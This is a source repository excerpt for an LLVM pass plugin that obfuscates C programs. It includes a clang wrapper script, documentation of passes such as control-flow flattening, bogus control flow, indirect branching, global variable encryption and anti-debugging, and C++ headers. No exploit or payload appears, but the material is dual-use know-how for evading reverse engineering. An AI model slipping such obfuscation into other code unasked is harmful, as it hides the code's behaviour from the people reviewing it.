generic_obfuscator_args+=("$arg") 58 | elif [[ "$arg" == "flatten" ]]; then 59 | echo "识别到 flatten" 60 | generic_obfuscator_args+=("$arg") 61 | elif [[ "$arg" == "substitution" ]]; then 62 | echo "识别到 substitution" 63 | generic_obfuscator_args+=("$arg") 64 | elif [[ "$arg" == *".c" ]]; then 65 | source_files="$arg" 66 | elif [[ "$arg" == '-o' ]]; then 67 | in_output_arg=true 68 | elif [[ "$in_output_arg" == true ]]; then 69 | output_file="$arg" 70 | in_output_arg=false 71 | else 72 | clang_args+=("$arg") 73 | continue 74 | fi 75 | done 76 | 77 | # 检查是否找到了 generic_obfuscator 及其参数 78 | if [[ -z "$source_files" || (${#generic_obfuscator_args[@]} -eq 0 && -z branch2call_enable) ]]; then 79 | $CLANG "$@" 80 | exit 81 | fi 82 | 83 | echo "Source file: $source_files" 84 | echo "generic_obfuscator args: ${generic_obfuscator_args[@]}" 85 | 86 | # 如果源文件存在且是 .c 文件,获取源文件所在的目录 87 | if [[ -f "$source_files" && "$source_files" == *".c" ]]; then 88 | $CLANG -S -emit-llvm "${clang_args[@]}" $source_files -o "${source_files%.c}.ll" 89 | ll_file="${source_files%.c}.ll" 90 | 91 | passes_str=$(printf "%s," "${generic_obfuscator_args[@]}") 92 | passes_str=${passes_str%,} 93 | echo $OPT --load-pass-plugin=$Generic_obfuscator_so $ll_file --passes="$passes_str" -S -o "${ll_file%.ll}.obfuscated.ll" 94 | $OPT --load-pass-plugin=$Generic_obfuscator_so $ll_file --passes="$passes_str" -S -o "${ll_file%.ll}.obfuscated.ll" 95 | if [[ "$branch2call_enable" == true ]]; then 96 | obfuscated_ll_file="${ll_file%.ll}.obfuscated.ll" 97 | asm_file="${ll_file%.ll}.s" 98 | $CLANG "$obfuscated_ll_file" "${clang_args[@]}" -Wno-unused-command-line-argument -S -o $asm_file 99 | python3 $BRANCH2CALL_PROCESS $asm_file $asm_file 100 | $CLANG "$asm_file" "${clang_args[@]}" -Wno-unused-command-line-argument -o "$output_file" 101 | if [[ -z "$DEBUG" || "$DEBUG" != "1" ]]; then 102 | rm "$ll_file" "$obfuscated_ll_file" "$asm_file" 103 | fi 104 | else 105 | obfuscated_ll_file="${ll_file%.ll}.obfuscated.ll" 106 | $CLANG "$obfuscated_ll_file" "${clang_args[@]}" -Wno-unused-command-line-argument -o "$output_file" 107 | if [[ -z "$DEBUG" || "$DEBUG" != "1" ]]; then 108 | rm "$ll_file" "$obfuscated_ll_file" 109 | fi 110 | fi 111 | 112 | else 113 | echo "Not a valid .c file. Passing to clang directly." 114 | $CLANG "$@" 115 | fi -------------------------------------------------------------------------------- /Generic_obfuscator/docs/Obfuscation-algorithm.md: -------------------------------------------------------------------------------- 1 | ## Obfuscation 2 | 3 | The following test file is rc4 encryption algorithm(source file in the end of this readme),the ida view of the original file is as follows: 4 | 5 | ![image-20241220160418783](https://zzzcccimage1.oss-cn-beijing.aliyuncs.com/img/image-20241220160418783.png) 6 | 7 | Currently open obfuscation functions include: 8 | 9 | ### Loopen 10 | 11 | A method to obfuscate control flow of the program 12 | 13 | The performance of using Loopen only: 14 | 15 | ![image-20241220163919762](https://zzzcccimage1.oss-cn-beijing.aliyuncs.com/img/image-20241220163919762.png) 16 | 17 | ### branch2call 18 | 19 | Transform the br to call some function in assembly level,curently only supported X86 and X64. 20 | 21 | The performance of using branch2call only: 22 | 23 | ![image-20241220165753884](https://zzzcccimage1.oss-cn-beijing.aliyuncs.com/img/image-20241220165753884.png) 24 | 25 | ![image-20241220165741070](https://zzzcccimage1.oss-cn-beijing.aliyuncs.com/img/image-20241220165741070.png) 26 | 27 | ### ForObs 28 | 29 | Add for loop for combating dynamic execution projects such as angr. 30 | 31 | The performance of using ForObs only: 32 | 33 | ![image-20241220170246504](https://zzzcccimage1.oss-cn-beijing.aliyuncs.com/img/image-20241220170246504.png) 34 | 35 | ![image-20241220170303720](https://zzzcccimage1.oss-cn-beijing.aliyuncs.com/img/image-20241220170303720.png) 36 | 37 | ### BogusControlFlow 38 | 39 | My bogus-control-flow is based on the version of rimao (source code: https://github.com/za233/Polaris-Obfuscator/blob/main/src/llvm/lib/Transforms/Obfuscation/BogusControlFlow2.cpp) 40 | What i have done is to modify the judging conditions from certain to possible , but it's probability 41 | of occurrence is so liitle that it can't happen when the actual program running .And I add a local 42 | viriables to reinforces the illusion that it can be run. 43 | 44 | But what I want to do is that make the false block can be real excute on a very low probability.And if the false block have excuted ,the program will find it and re-execute the true block.But the fake variable in my false block is un-alloced so that it will corrupt.Hope I will have time to finish this in the future. 45 | 46 | The performance of using BogusControlFlow only: 47 | 48 | ![image-20241220205919801](https://zzzcccimage1.oss-cn-beijing.aliyuncs.com/img/image-20241220205919801.png) 49 | 50 | ### Indirect_branch 51 | 52 | This obfuscation method can turn the branch jump to an indirect jump through the register,and each block has a unique key to increase the difficulty crackers' attacks. 53 | 54 | The performance of using Indirect_branch only: 55 | 56 | ![image-20241220205450343](https://zzzcccimage1.oss-cn-beijing.aliyuncs.com/img/image-20241220205450343.png) 57 | 58 | ### Indirect_call 59 | 60 | As the indirect_branch method,this method will turn partial func call to indirect call through register with different keys. 61 | 62 | The performance of using Indirect_call only: 63 | 64 | ![image-20241220205641931](https://zzzcccimage1.oss-cn-beijing.aliyuncs.com/img/image-20241220205641931.png) 65 | 66 | ### SplitBasicBlock 67 | 68 | This is an easy method to split a basic block to multiple.Its purpose is to strengthen other obfuscation algorithms. 69 | 70 | For example , the performance of using it and the Loopen: 71 | 72 | ![image-20241220205724495](https://zzzcccimage1.oss-cn-beijing.aliyuncs.com/img/image-20241220205724495.png) 73 | 74 | ### AddJunkCode 75 | 76 | Add assembly level junk code , currently only support X86 and X64. 77 | The performance of using AddJunkCode only: 78 | 79 | ![image-20241220164639032](https://zzzcccimage1.oss-cn-beijing.aliyuncs.com/img/image-20241220164639032.png) 80 | 81 | ### Flatten 82 | 83 | This code is adapted from the Pluto project (https://github.com/DreamSoule/ollvm17) 84 | Thanks to the contributions of our predecessors! 85 | The performance of using Flatten only: 86 | 87 | ![image-20241220211100256](https://zzzcccimage1.oss-cn-beijing.aliyuncs.com/img/image-20241220211100256.png) 88 | 89 | ### Substitution 90 | 91 | This code is adapted from the Pluto project (https://github.com/bluesadi/Pluto) 92 | source file: https://github.com/bluesadi/Pluto/blob/kanxue/Transforms/src/Substitution.cpp 93 | I just adapted it to the LLVM-17 and the LLVM New Pass 94 | Thanks to the contributions of our predecessors! 95 | The performance of using Substitution only: 96 | 97 | ![image-20241220210934072](https://zzzcccimage1.oss-cn-beijing.aliyuncs.com/img/image-20241220210934072.png) 98 | 99 | ### GVEncrypt 100 | 101 | The method will encrypt partial global virable or global constant with inserting the func-relative dec func in the head of the func,and guard the dec func only excute once through a global virable.May I will add the relative func in the end of the func to enhance secrecy. 102 | 103 | The performance of using GVEncrypt only: 104 | 105 | ![image-20241220212030685](https://zzzcccimage1.oss-cn-beijing.aliyuncs.com/img/image-20241220212030685.png) 106 | 107 | ### AntiDebug 108 | 109 | ~~The method will insert some anti-debugging functions into the program's constructor list to be called when the program starts running: 110 | And I try to make the anti-debugging functions configurable,see code for details~~. 111 | 112 | Now the method wiil randomly insert some anti-debug functions into the each functions of the program to guard the program in runtime. -------------------------------------------------------------------------------- /Generic_obfuscator/src/PassPlugin.cpp: -------------------------------------------------------------------------------- 1 | #include "llvm/Passes/PassPlugin.h" 2 | #include "AntiDebugPass.h" 3 | #include "BogusControlFlow.h" 4 | #include "Flatten.h" 5 | #include "GVEncrypt.h" 6 | #include "IndirectBranch.h" 7 | #include "IndirectCall.h" 8 | #include "SplitBasicBlock.h" 9 | #include "Substitution.h" 10 | #include "include/AddJunkCodePass.h" 11 | #include "include/Branch2Call.h" 12 | #include "include/Branch2Call_32.h" 13 | #include "include/ForObsPass.h" 14 | #include "include/Loopen.hpp" 15 | #include "llvm/Passes/PassBuilder.h" 16 | using namespace llvm; 17 | 18 | llvm::PassPluginLibraryInfo getGeneric_obfuscatorPluginInfo() 19 | { 20 | return { 21 | LLVM_PLUGIN_API_VERSION, "Generic_obfuscator", LLVM_VERSION_STRING, 22 | [](PassBuilder& PB) { 23 | // first way to use the pass 24 | PB.registerPipelineParsingCallback( 25 | [](StringRef Name, ModulePassManager& MPM, ArrayRef) { 26 | if (Name == "gv-encrypt"){ 27 | MPM.addPass(GVEncrypt()); 28 | return true; 29 | } 30 | else if (Name == "split-basic-block") { 31 | MPM.addPass(SplitBasicBlock()); 32 | return true; 33 | } else if (Name == "anti-debug") { 34 | MPM.addPass(AntiDebugPass()); 35 | return true; 36 | } else if (Name == "bogus-control-flow") { 37 | MPM.addPass(BogusControlFlow()); 38 | return true; 39 | } else if (Name == "add-junk-code") { 40 | MPM.addPass(AddJunkCodePass()); 41 | return true; 42 | } else if (Name == "loopen") { 43 | MPM.addPass(Loopen()); 44 | return true; 45 | } else if (Name == "for-obs") { 46 | MPM.addPass(ForObsPass()); 47 | return true; 48 | } else if (Name == "branch2call-32") { 49 | MPM.addPass(Branch2Call_32()); 50 | return true; 51 | } else if (Name == "branch2call") { 52 | MPM.addPass(Branch2Call()); 53 | return true; 54 | } else if (Name == "indirect-call") { 55 | MPM.addPass(IndirectCall()); 56 | return true; 57 | } else if (Name == "indirect-branch") { 58 | MPM.addPass(IndirectBranch()); 59 | return true; 60 | } else if (Name == "flatten") { 61 | MPM.addPass(Flatten()); 62 | return true; 63 | } else if (Name == "substitution") { 64 | MPM.addPass(Substitution()); 65 | return true; 66 | } 67 | return false; 68 | }); 69 | // second way to use the pass 70 | PB.registerPipelineStartEPCallback( 71 | [](ModulePassManager& MPM, OptimizationLevel Level) { 72 | MPM.addPass(AntiDebugPass()); 73 | MPM.addPass(SplitBasicBlock()); 74 | MPM.addPass(GVEncrypt()); 75 | MPM.addPass(BogusControlFlow()); 76 | MPM.addPass(AddJunkCodePass()); 77 | MPM.addPass(Loopen()); 78 | MPM.addPass(ForObsPass()); 79 | MPM.addPass(Branch2Call_32()); 80 | MPM.addPass(Branch2Call()); 81 | MPM.addPass(IndirectCall()); 82 | MPM.addPass(IndirectBranch()); 83 | MPM.addPass(Flatten()); 84 | MPM.addPass(Substitution()); 85 | }); 86 | } 87 | }; 88 | } 89 | 90 | __attribute__((visibility("default"))) extern "C" LLVM_ATTRIBUTE_WEAK ::llvm::PassPluginLibraryInfo 91 | llvmGetPassPluginInfo() 92 | { 93 | return getGeneric_obfuscatorPluginInfo(); 94 | } 95 | -------------------------------------------------------------------------------- /Generic_obfuscator/src/include/AddJunkCodePass.h: -------------------------------------------------------------------------------- 1 | #ifndef LLVM_Generic_obfuscator_AddJunkCodePass_H 2 | #define LLVM_Generic_obfuscator_AddJunkCodePass_H 3 | 4 | #include "llvm/IR/PassManager.h" 5 | 6 | namespace llvm { 7 | class AddJunkCodePass : public PassInfoMixin { 8 | public: 9 | PreservedAnalyses run(Module &F, ModuleAnalysisManager &AM); 10 | //保证不被跳过 11 | static bool isRequired() { return true; } 12 | 13 | }; 14 | } // namespace llvm 15 | 16 | #endif -------------------------------------------------------------------------------- /Generic_obfuscator/src/include/AntiDebugPass.h: -------------------------------------------------------------------------------- 1 | #ifndef LLVM_Generic_obfuscator_AntiDebugPass_H 2 | #define LLVM_Generic_obfuscator_AntiDebugPass_H 3 | 4 | #include "llvm/IR/PassManager.h" 5 | #include "llvm/ADT/Statistic.h" 6 | #include "llvm/IR/BasicBlock.h" 7 | #include "llvm/IR/IRBuilder.h" 8 | #include "llvm/IR/Instructions.h" 9 | #include "llvm/IR/Module.h" 10 | #include "llvm/Pass.h" 11 | #include "llvm/Support/CommandLine.h" 12 | #include "llvm/Transforms/IPO.h" 13 | #include "llvm/Transforms/Scalar.h" 14 | #include "llvm/Support/FormatVariadic.h" 15 | #include "llvm/IR/InlineAsm.h" 16 | #include 17 | #include 18 | 19 | namespace llvm { 20 | class AntiDebugPass : public PassInfoMixin { 21 | public: 22 | PreservedAnalyses run(Module &F, ModuleAnalysisManager &AM); 23 | // Prevent multiple insertions 24 | bool isInserted = false; 25 | //保证不被跳过 26 | static bool isRequired() { return true; } 27 | 28 | }; 29 | } // namespace llvm 30 | #endif -------------------------------------------------------------------------------- /Generic_obfuscator/src/include/BogusControlFlow.h: -------------------------------------------------------------------------------- 1 | #ifndef LLVM_Generic_obfuscator_BogusControlFlow_H 2 | #define LLVM_Generic_obfuscator_BogusControlFlow_H 3 | //现在仅适配了AArch64架构 因为不同架构之间汇编不一样 4 | #include "llvm/IR/BasicBlock.h" 5 | #include "llvm/IR/CFG.h" 6 | #include "llvm/IR/Function.h" 7 | #include "llvm/IR/IRBuilder.h" 8 | #include "llvm/IR/Instruction.h" 9 | #include "llvm/Passes/PassBuilder.h" 10 | #include "llvm/Transforms/Utils/Cloning.h" 11 | #include "llvm/Transforms/Utils/ValueMapper.h" 12 | #include "utils.hpp" 13 | #include 14 | #define USE_PROBILITY 0 15 | using namespace llvm; 16 | namespace llvm 17 | { 18 | class BogusControlFlow : public PassInfoMixin 19 | { 20 | public: 21 | PreservedAnalyses run(Module &M, ModuleAnalysisManager &AM); 22 | // 保证不被跳过 23 | static bool isRequired() { return true; } 24 | }; 25 | } 26 | #endif -------------------------------------------------------------------------------- /Generic_obfuscator/src/include/Branch2Call.h: -------------------------------------------------------------------------------- 1 | #ifndef LLVM_Generic_obfuscator_Branch2Call_H 2 | #define LLVM_Generic_obfuscator_Branch2Call_H 3 | //现在仅适配了AArch64架构 因为不同架构之间汇编不一样 4 | #include "llvm/IR/PassManager.h" 5 | #include "llvm/ADT/Statistic.h" 6 | #include "llvm/IR/BasicBlock.h" 7 | #include "llvm/IR/IRBuilder.h" 8 | #include "llvm/IR/Instructions.h" 9 | #include "llvm/IR/Module.h" 10 | #include "llvm/Pass.h" 11 | #include "llvm/Support/CommandLine.h" 12 | #include "llvm/Transforms/IPO.h" 13 | #include "llvm/Transforms/Scalar.h" 14 | #include "llvm/Support/FormatVariadic.h" 15 | #include "llvm/IR/InlineAsm.h" 16 | #include "llvm/IR/Constants.h" 17 | #include "llvm/IR/Function.h" 18 | #include "llvm/IR/GlobalVariable.h" 19 | #include "llvm/Transforms/Utils/BasicBlockUtils.h" 20 | #include "llvm/Transforms/Utils/ModuleUtils.h" 21 | #include "llvm/Support/raw_ostream.h" 22 | #include "llvm/Transforms/Utils/Cloning.h" 23 | 24 | 25 | using namespace llvm; 26 | namespace llvm 27 | { 28 | class Branch2Call : public PassInfoMixin 29 | { 30 | public: 31 | PreservedAnalyses run(Module &F, ModuleAnalysisManager &AM); 32 | // 保证不被跳过 33 | static bool isRequired() { return true; } 34 | }; 35 | } // namespace llvm 36 | #endif -------------------------------------------------------------------------------- /Generic_obfuscator/src/include/Branch2Call_32.h: -------------------------------------------------------------------------------- 1 | #ifndef LLVM_Generic_obfuscator_Branch2Call_32_H 2 | #define LLVM_Generic_obfuscator_Branch2Call_32_H 3 | //现在仅适配了AArch64架构 因为不同架构之间汇编不一样 4 | #include "llvm/IR/PassManager.h" 5 | #include "llvm/ADT/Statistic.h" 6 | #include "llvm/IR/BasicBlock.h" 7 | #include "llvm/IR/IRBuilder.h" 8 | #include "llvm/IR/Instructions.h" 9 | #include "llvm/IR/Module.h" 10 | #include "llvm/Pass.h" 11 | #include "llvm/Support/CommandLine.h" 12 | #include "llvm/Transforms/IPO.h" 13 | #include "llvm/Transforms/Scalar.h" 14 | #include "llvm/Support/FormatVariadic.h" 15 | #include "llvm/IR/InlineAsm.h" 16 | #include "llvm/IR/Constants.h" 17 | #include "llvm/IR/Function.h" 18 | #include "llvm/IR/GlobalVariable.h" 19 | #include "llvm/Transforms/Utils/BasicBlockUtils.h" 20 | #include "llvm/Transforms/Utils/ModuleUtils.h" 21 | #include "llvm/Support/raw_ostream.h" 22 | #include "llvm/Transforms/Utils/Cloning.h" 23 | 24 | #include "llvm/Target/TargetMachine.h" // For TargetMachine 25 | #include "llvm/Support/TargetSelect.h" // For TargetRegistry::lookupTarget() 26 | 27 | using namespace llvm; 28 | namespace llvm 29 | { 30 | class Branch2Call_32 : public PassInfoMixin 31 | { 32 | public: 33 | PreservedAnalyses run(Module &F, ModuleAnalysisManager &AM); 34 | // 保证不被跳过 35 | static bool isRequired() { return true; } 36 | }; 37 | } // namespace llvm 38 | #endif -------------------------------------------------------------------------------- /Generic_obfuscator/src/include/Flatten.h: -------------------------------------------------------------------------------- 1 | #ifndef LLVM_Generic_obfuscator_Flatten_H 2 | #define LLVM_Generic_obfuscator_Flatten_H 3 | //现在仅适配了AArch64架构 因为不同架构之间汇编不一样 4 | #include "llvm/IR/PassManager.h" 5 | #include "llvm/ADT/Statistic.h" 6 | #include "llvm/IR/BasicBlock.h" 7 | #include "llvm/IR/IRBuilder.h" 8 | #include "llvm/IR/Instructions.h" 9 | #include "llvm/IR/Module.h" 10 | #include "llvm/Pass.h" 11 | #include "llvm/Support/CommandLine.h" 12 | #include "llvm/Transforms/IPO.h" 13 | #include "llvm/Transforms/Scalar.h" 14 | #include "llvm/Support/FormatVariadic.h" 15 | #include "llvm/IR/InlineAsm.h" 16 | #include "llvm/IR/Constants.h" 17 | #include "llvm/IR/Function.h" 18 | #include "llvm/IR/GlobalVariable.h" 19 | #include "llvm/Transforms/Utils/BasicBlockUtils.h" 20 | #include "llvm/Transforms/Utils/ModuleUtils.h" 21 | #include "llvm/Support/raw_ostream.h" 22 | #include "llvm/Transforms/Utils/Cloning.h" 23 | 24 | 25 | using namespace llvm; 26 | namespace llvm 27 | { 28 | class Flatten : public PassInfoMixin 29 | { 30 | public: 31 | PreservedAnalyses run(Module &F, ModuleAnalysisManager &AM); 32 | // 保证不被跳过 33 | static bool isRequired() { return true; } 34 | }; 35 | } // namespace llvm 36 | #endif -------------------------------------------------------------------------------- /Generic_obfuscator/src/include/ForObsPass.h: -------------------------------------------------------------------------------- 1 | #ifndef LLVM_Generic_obfuscator_ForObsPass_H 2 | #define LLVM_Generic_obfuscator_ForObsPass_H 3 | 4 | #include "llvm/IR/PassManager.h" 5 | 6 | namespace llvm { 7 | class ForObsPass : public PassInfoMixin { 8 | public: 9 | PreservedAnalyses run(Module &M, ModuleAnalysisManager &AM); 10 | //保证不被跳过 11 | static bool isRequired() { return true; } 12 | 13 | 14 | }; 15 | } // namespace llvm 16 | 17 | #endif -------------------------------------------------------------------------------- /Generic_obfuscator/src/include/GVEncrypt.h: -------------------------------------------------------------------------------- 1 | #ifndef LLVM_Generic_obfuscator_GVEncrypt_H 2 | #define LLVM_Generic_obfuscator_GVEncrypt_H 3 | // 现在仅适配了AArch64架构 因为不同架构之间汇编不一样 4 | #include "llvm/IR/BasicBlock.h" 5 | #include "llvm/IR/CFG.h" 6 | #include "llvm/IR/Function.h" 7 | #include "llvm/IR/GlobalVariable.h" 8 | #include "llvm/IR/IRBuilder.h" 9 | #include "llvm/IR/Instruction.h" 10 | #include "llvm/Passes/PassBuilder.h" 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | using namespace llvm; 17 | using namespace std; 18 | namespace llvm { 19 | class GVEncrypt : public PassInfoMixin { 20 | public: 21 | PreservedAnalyses run(Module& M, ModuleAnalysisManager& AM); 22 | // 保证不被跳过 23 | static bool isRequired() { return true; } 24 | }; 25 | } 26 | namespace Generic_obfuscator { 27 | namespace GVEncrypt { 28 | class TaintAnalysis { 29 | private: 30 | std::set gv_set_each_path; 31 | std::set gv_set; 32 | Value* var_set_end = nullptr; 33 | std::map> bb_2_gv_set_hash; 34 | // 共享变量访问的指令集合 35 | std::set unnecessarySet; 36 | std::vector currentPath; 37 | std::set visitedBlocks; 38 | void traversePath(BasicBlock* BB, std::set &gv_set); 39 | 40 | std::size_t hashSet(const std::set& gv_set); 41 | 42 | public: 43 | // 构造函数 44 | TaintAnalysis() = default; 45 | 46 | // 析构函数 47 | ~TaintAnalysis() = default; 48 | 49 | // 分析函数中的污点 50 | void analyzeFunction(Function& F); 51 | 52 | void analyzeFunctionFlowSensitive(Function& F); 53 | 54 | // 获取共享变量访问指令集合 55 | const std::set& getUnnecessarySet() const; 56 | 57 | // 打印共享变量访问指令集合 58 | void printUnnecessarySet() const; 59 | 60 | 61 | }; // Class TainAnalysis end 62 | 63 | bool encryptGV(llvm::Function *F, Function* decryptFunction); 64 | struct GVInfo { 65 | int index; 66 | uint8_t key; 67 | int len; 68 | }; 69 | bool shouldSkip(GlobalVariable &GV); 70 | Function *defineDecryptFunction(Module* M, GlobalVariable* GVIsDecrypted); 71 | } // namespace GVEncrypt 72 | } // namespace KOtoamatsukami 73 | #endif -------------------------------------------------------------------------------- /Generic_obfuscator/src/include/IndirectBranch.h: -------------------------------------------------------------------------------- 1 | #ifndef LLVM_Generic_obfuscator_IndirectBranch_H 2 | #define LLVM_Generic_obfuscator_IndirectBranch_H 3 | // 现在仅适配了AArch64架构 因为不同架构之间汇编不一样 4 | #include "llvm/IR/BasicBlock.h" 5 | #include "llvm/IR/CFG.h" 6 | #include "llvm/IR/Function.h" 7 | #include "llvm/IR/IRBuilder.h" 8 | #include "llvm/IR/Instruction.h" 9 | #include "llvm/Passes/PassBuilder.h" 10 | #include 11 | #include 12 | #include 13 | using namespace llvm; 14 | namespace llvm { 15 | class IndirectBranch : public PassInfoMixin { 16 | public: 17 | PreservedAnalyses run(Module& M, ModuleAnalysisManager& AM); 18 | // 保证不被跳过 19 | static bool isRequired() { return true; } 20 | }; 21 | } 22 | namespace Generic_obfuscator { 23 | #include // 包含 BasicBlock 所需的头文件 24 | 25 | struct IndirectBBinfo { 26 | int index; 27 | int key; 28 | }; 29 | 30 | } 31 | #endif -------------------------------------------------------------------------------- /Generic_obfuscator/src/include/IndirectCall.h: -------------------------------------------------------------------------------- 1 | #ifndef LLVM_Generic_obfuscator_IndirectCall_H 2 | #define LLVM_Generic_obfuscator_IndirectCall_H 3 | //现在仅适配了AArch64架构 因为不同架构之间汇编不一样 4 | #include "llvm/IR/BasicBlock.h" 5 | #include "llvm/IR/CFG.h" 6 | #include "llvm/IR/Function.h" 7 | #include "llvm/IR/IRBuilder.h" 8 | #include "llvm/IR/Instruction.h" 9 | #include "llvm/Passes/PassBuilder.h" 10 | #include 11 | using namespace llvm; 12 | namespace llvm 13 | { 14 | class IndirectCall : public PassInfoMixin 15 | { 16 | public: 17 | PreservedAnalyses run(Module &M, ModuleAnalysisManager &AM); 18 | // 保证不被跳过 19 | static bool isRequired() { return true; } 20 | }; 21 | } 22 | namespace Generic_obfuscator 23 | { 24 | struct IndirectCallInfo { 25 | int index; 26 | int key; 27 | }; 28 | } // namespace Generic_obfuscator 29 | 30 | #endif -------------------------------------------------------------------------------- /Generic_obfuscator/src/include/Log.hpp: -------------------------------------------------------------------------------- 1 | #ifndef LOG_HPP 2 | #define LOG_HPP 3 | #pragma once 4 | 5 | /* Define Some Color For Output */ 6 | #define RESET "\x1B[0m" 7 | #define RED "\x1B[31m" 8 | #define GREEN "\x1B[32m" 9 | #define YELLOW "\x1B[33m" 10 | #define BLUE "\x1B[34m" 11 | 12 | #include 13 | #include 14 | #include 15 | 16 | // Variadic template function for printing 17 | template 18 | void PrintMessage(const std::string& prefix, const std::string& color, Args&&... args) { 19 | std::cout << color << prefix; 20 | (std::cout << ... << std::forward(args)); // Fold expression to expand args 21 | std::cout << RESET << std::endl; 22 | } 23 | 24 | template 25 | void PrintError(Args&&... error) { 26 | PrintMessage("[Generic_obfuscator] Error: ", RED, std::forward(error)...); 27 | } 28 | 29 | template 30 | void PrintWarning(Args&&... warning) { 31 | PrintMessage("[Generic_obfuscator] Warning: ", YELLOW, std::forward(warning)...); 32 | } 33 | 34 | template 35 | void PrintInfo(Args&&... info) { 36 | PrintMessage("[Generic_obfuscator] Info: ", BLUE, std::forward(info)...); 37 | } 38 | 39 | template 40 | void PrintSuccess(Args&&... success) { 41 | PrintMessage("[Generic_obfuscator] Success: ", GREEN, std::forward(success)...); 42 | } 43 | 44 | void PrintZZZCCC(); 45 | 46 | #endif // AUXILIARY_HPP 47 | -------------------------------------------------------------------------------- /Generic_obfuscator/src/include/Loopen.hpp: -------------------------------------------------------------------------------- 1 | #ifndef LLVM_Generic_obfuscator_Loopen_H 2 | #define LLVM_Generic_obfuscator_Loopen_H 3 | 4 | #include "llvm/IR/PassManager.h" 5 | #include "llvm/IR/BasicBlock.h" 6 | #include "llvm/IR/IRBuilder.h" 7 | #include "llvm/IR/Instructions.h" 8 | #include "llvm/Pass.h" 9 | #include "llvm/Transforms/Utils/BasicBlockUtils.h" 10 | #include "llvm/Passes/PassPlugin.h" 11 | #include "llvm/Passes/PassBuilder.h" 12 | #include 13 | #include 14 | #include // 包含 srand 和 rand 15 | #include // 包含 time 16 | #include 17 | #include 18 | #include // std::shuffle 19 | namespace llvm 20 | { 21 | class Loopen : public PassInfoMixin 22 | { 23 | public: 24 | PreservedAnalyses run(Module &M, ModuleAnalysisManager &AM); 25 | // 保证不被跳过 26 | static bool isRequired() { return true; } 27 | 28 | }; 29 | 30 | } // namespace llvm 31 | llvm::Function *createQuickPow(llvm::Module *M, std::string &moduleName); 32 | void funcLoopen(llvm::IRBuilder<> &builder, llvm::LLVMContext &context, llvm::Function &F, llvm::Function *quickPowFunc, llvm::Value *N, llvm::Value *M, llvm::BasicBlock *OldBB); 33 | unsigned int quick_pow(unsigned int base, unsigned int exp, unsigned int mod); 34 | 35 | #endif -------------------------------------------------------------------------------- /Generic_obfuscator/src/include/SplitBasicBlock.h: -------------------------------------------------------------------------------- 1 | #ifndef LLVM_SplitBasicBlock_SplitBasicBlock_H 2 | #define LLVM_SplitBasicBlock_SplitBasicBlock_H 3 | //现在仅适配了AArch64架构 因为不同架构之间汇编不一样 4 | #include "llvm/IR/PassManager.h" 5 | #include "llvm/ADT/Statistic.h" 6 | #include "llvm/IR/BasicBlock.h" 7 | #include "llvm/IR/IRBuilder.h" 8 | #include "llvm/IR/Instructions.h" 9 | #include "llvm/IR/Module.h" 10 | #include "llvm/Pass.h" 11 | #include "llvm/Support/CommandLine.h" 12 | #include "llvm/Transforms/IPO.h" 13 | #include "llvm/Transforms/Scalar.h" 14 | #include "llvm/Support/FormatVariadic.h" 15 | #include "llvm/IR/InlineAsm.h" 16 | #include 17 | #include 18 | #include 19 | #include // std::shuffle 20 | #include // 包含rand和srand函数 21 | using namespace llvm; 22 | namespace llvm 23 | { 24 | class SplitBasicBlock : public PassInfoMixin 25 | { 26 | public: 27 | PreservedAnalyses run(Module &F, ModuleAnalysisManager &AM); 28 | bool containsPHI(llvm::BasicBlock *BB); 29 | void split(llvm::Function *F, int splitNumber); 30 | // 保证不被跳过 31 | static bool isRequired() { return true; } 32 | }; 33 | } // namespace llvm 34 | #endif -------------------------------------------------------------------------------- /Generic_obfuscator/src/include/Substitution.h: -------------------------------------------------------------------------------- 1 | #ifndef LLVM_Generic_obfuscator_Substitution_H 2 | #define LLVM_Generic_obfuscator_Substitution_H 3 | // 现在仅适配了AArch64架构 因为不同架构之间汇编不一样 4 | #include "llvm/IR/BasicBlock.h" 5 | #include "llvm/IR/CFG.h" 6 | #include "llvm/IR/Function.h" 7 | #include "llvm/IR/IRBuilder.h" 8 | #include "llvm/IR/InstrTypes.h" 9 | #include "llvm/IR/Instruction.h" 10 | #include "llvm/IR/Instructions.h" 11 | #include "llvm/IR/Constants.h" 12 | #include "llvm/Pass.h" 13 | #include "llvm/Passes/PassBuilder.h" 14 | #include 15 | #include 16 | using namespace llvm; 17 | namespace llvm { 18 | class Substitution : public PassInfoMixin { 19 | public: 20 | PreservedAnalyses run(Module& M, ModuleAnalysisManager& AM); 21 | // 保证不被跳过 22 | static bool isRequired() { return true; } 23 | }; 24 | } 25 | namespace Generic_obfuscator { 26 | namespace Substitution { 27 | void substitute(BinaryOperator* BI); 28 | 29 | // 替换 Add 指令 30 | void substituteAdd(BinaryOperator* BI); 31 | // 加法替换:a = b + c -> a = b - (-c) 32 | void addNeg(BinaryOperator* BI); 33 | // 加法替换:a = b + c -> a = -(-b + (-c)) 34 | void addDoubleNeg(BinaryOperator* BI); 35 | // 加法替换:a = b + c -> r = rand (); a = b + r; a = a + c; a = a - r 36 | void addRand(BinaryOperator* BI); 37 | // 加法替换:a = b + c -> r = rand (); a = b - r; a = a + b; a = a + r 38 | void addRand2(BinaryOperator* BI); 39 | 40 | // 替换 Sub 指令 41 | void substituteSub(BinaryOperator* BI); 42 | // 减法替换:a = b - c -> a = b + (-c) 43 | void subNeg(BinaryOperator* BI); 44 | // 减法替换:a = b - c -> r = rand (); a = b + r; a = a - c; a = a - r 45 | void subRand(BinaryOperator* BI); 46 | // 减法替换:a = b - c -> a = b - r; a = a - c; a = a + r 47 | void subRand2(BinaryOperator* BI); 48 | 49 | // 替换 And 指令 50 | void substituteAnd(BinaryOperator* BI); 51 | // 与替换:a = b & c -> a = (b ^ ~c) & b 52 | void andSubstitute(BinaryOperator* BI); 53 | // 与替换:a = b & c -> a = ~(~b | ~c) & (r | ~r) 54 | void andSubstituteRand(BinaryOperator* BI); 55 | 56 | // 替换 Or 指令 57 | void substituteOr(BinaryOperator* BI); 58 | // 或替换:a = b | c -> a = (b & c) | (b ^ c) 59 | void orSubstitute(BinaryOperator* BI); 60 | // 或替换:a = b | c -> a = ~(~b & ~c) & (r | ~r) 61 | void orSubstituteRand(BinaryOperator* BI); 62 | 63 | // 替换 Xor 指令 64 | void substituteXor(BinaryOperator* BI); 65 | // 异或替换:a = b ^ c -> a = ~b & c | b & ~c 66 | void xorSubstitute(BinaryOperator* BI); 67 | // 异或替换:a = b ^ c -> (b ^ r) ^ (c ^ r) <=> (~b & r | b & ~r) ^ (~c & r | c & ~r) 68 | void xorSubstituteRand(BinaryOperator* BI); 69 | } 70 | } 71 | 72 | #endif 